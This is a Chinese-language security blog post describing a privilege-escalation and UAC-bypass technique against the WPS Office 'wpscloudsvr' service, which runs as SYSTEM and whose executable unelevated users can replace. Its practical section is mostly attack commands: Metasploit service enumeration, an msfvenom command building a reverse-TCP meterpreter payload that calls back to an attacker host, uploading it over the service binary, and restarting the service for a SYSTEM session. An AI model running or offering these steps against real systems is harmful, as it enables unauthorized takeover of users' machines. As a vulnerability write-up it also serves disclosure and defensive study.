利用WPS-Office绕过UAC提权

简介: 利用WPS-Office绕过UAC提权


0x01 前言

wpscloudsvr服务用于提供WPSOffice云服务,其中包括:云文档,文件安全性,VIP服务等,以实现完整和安全的用户体验,及时更新和错误修复,停止此服务将禁用云服务和及时错误修复等。


但这个服务貌似并没有起到其实际作用,因为它默认为停止状态,启动类型为禁止或者手动,而且运行的是WPSOffice安装目录下的wpscloudsvr.exe,并非该服务指定的wpscloudsvr.exe。


本地测试环境信息:


操作系统:Windows 10教育版17134、Windows Server 2016 Datacenter
软件版本:WPS Office 2020 11.1.0.9999
WPS Office安装路径:D:\WPS Office\
WPS Office进程名:wps.exe、wpscloudsvr.exe等
WPS Office服务名:wpscloudsvr(WPS Office Cloud Service)


0x02 绕过原理分析

WPSOffice在安装时创建的wpscloudsvr服务默认是以SYSTEM权限运行的,而且允许在ApplicationPoolIdentity、NetworkService和未过UAC的用户启动和停止该服务,并且有权限替换服务指定的wpscloudsvr.exe,所以能够直接利用这种方式进行权限提升,但需要注意以下几点。

1. 不是所有服务都可以用未过UAC的用户来启动和停止的,如:KugouService、Everything等;

2. wpscloudsvr.exe Users权限问题,Win10和2016默认给的权限不一样,可能会替换不了文件;

3. WPSOffic新版本中可能已经修复该问题,可以替换文件,但是不能启动wpscloudsvr服务;

    get-acl .\wpscloudsvr.exe | format-list
    icacls wpscloudsvr.exe
    net start wpscloudsvr


    0x02 模拟实战测试

    (1) 使用MSF下的post/windows/gather/enum_services模块获取当前主机上的服务信息,找到一个以SYSTEM权限运行的wpscloudsvr服务,并且可用net命令停止和开启该服务。

      meterpreter > run post/windows/gather/enum_services


      (2) 既然有权限启动和停止wpscloudsvr服务,那么我们就直接将该服务的可执行文件替换为远控马或MSF攻击载荷,不过必须拥有Users完全控制权限才可替换,替换前记得备份一下,然后依次执行以下命令并重启wpscloudsvr服务后即可得到一个SYSTEM权限会话。

        root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443-f exe > /tmp/wpscloudsvr.exe
        meterpreter > cd C:\\ProgramData\\Kingsoft\\office6\\
        meterpreter > cp wpscloudsvr.exe wpscloudsvr1.exe
        meterpreter > upload /tmp/wpscloudsvr.exe wpscloudsvr.exe
        meterpreter > execute -Hc -i -f "c:\\windows\\system32\\cmd.exe" -a "/c net start wpscloudsvr"


        参考文章:

        https://mp.weixin.qq.com/s/s1xWapre2xa5bAP-VoY_Ww

        相关文章
        |
        5月前
        |
        人工智能 自然语言处理 BI
        用办公Agent接管Excel苦力活:跨表匹配、格式清洗、自动图表生成
        本文揭秘如何用AI办公Agent自动化处理Excel月度报表:15分钟搞定跨表匹配(模糊+精确双策略)、智能清洗(日期/数字/空白全覆盖)、自动绘图(配色+标题+标签)。告别VLOOKUP、分列、手动调图,让重复劳动归零——真正的效率革命,始于教会机器做脏活。
        674 4
        |
        10月前
        |
        传感器 算法 物联网
        室内定位无线技术的分类和原理全解析(一)
        室内定位无线技术通过射频、声波、光信号等解决卫星信号无法覆盖的盲区,实现人员、物资精准定位。主流技术分射频、声波、光学及新兴四大类,涵盖蓝牙、UWB、Wi-Fi、红外、可见光、毫米波等,适用于工业、医疗、园区等多场景,各具精度、成本与部署优势。
        |
        6月前
        |
        人工智能 开发者 C++
        Claude Code 搞了个UltraPlan:Agent开始上云写代码了!
        UltraPlan是Anthropic推出的AI编程新范式:将代码规划“动脑”环节移至云端,终端专注“动手”,实现不卡顿、可协作、灵活执行。支持精准评论、异步运行与多端同步,兼顾效率与隐私选择权。(239字)
        443 5
        |
        8月前
        |
        人工智能 JavaScript 数据可视化
        2026年部署OpenClaw终极玩法:手把手教你通过6大超实用硬核Skills,轻松解锁AI辅助学习
        在AI工具泛滥的今天,多数人仍将其当作“对话玩具”,却忽略了AI真正的价值——主动解决问题。OpenClaw的核心魅力,在于其开放的Skills生态:如果说大模型是AI的“大脑”,那Skills就是它的手脚、眼睛和专业工具箱。对于需要面对海量课件、复杂论文和严苛进度表的学生与职场人而言,选对并用好Skills,能让你的OpenClaw从“龙虾小兵”进化为“铁螯龙虾”。
        2531 2
        |
        前端开发 Java Maven
        使用 @GrpcClient 实现客户端
        使用 @GrpcClient 实现客户端
        462 0
        |
        存储 数据库 Docker
        |
        传感器 机器学习/深度学习 数据采集
        AI在环保中的角色:污染监测与防治
        【10月更文挑战第6天】AI在环保领域的应用,不仅提升了污染监测的精准度和防治效率,还推动了环保技术的创新和升级。作为未来环保事业的重要力量,AI正以其独特的优势,为构建更加绿色、可持续的生态环境贡献着智慧与力量。我们有理由相信,在AI的助力下,我们的地球将变得更加美好。
        1263 3
        |
        机器学习/深度学习 人工智能 安全
        PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        【2月更文挑战第9天】PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        763 3
        PyRIT:主动发现生成式 AI 系统潜在风险的开放式自动化框架
        |
        Java BI
        itext itextpdf 版本概要介绍
        生成PDF报表的Java组件--iText 网上介绍的多是一些实例和使用方法,对于这个版本的使用需要注意的点主要是版本问题。 iText版本历史  http://itextpdf.com/history/  2.
        2999 0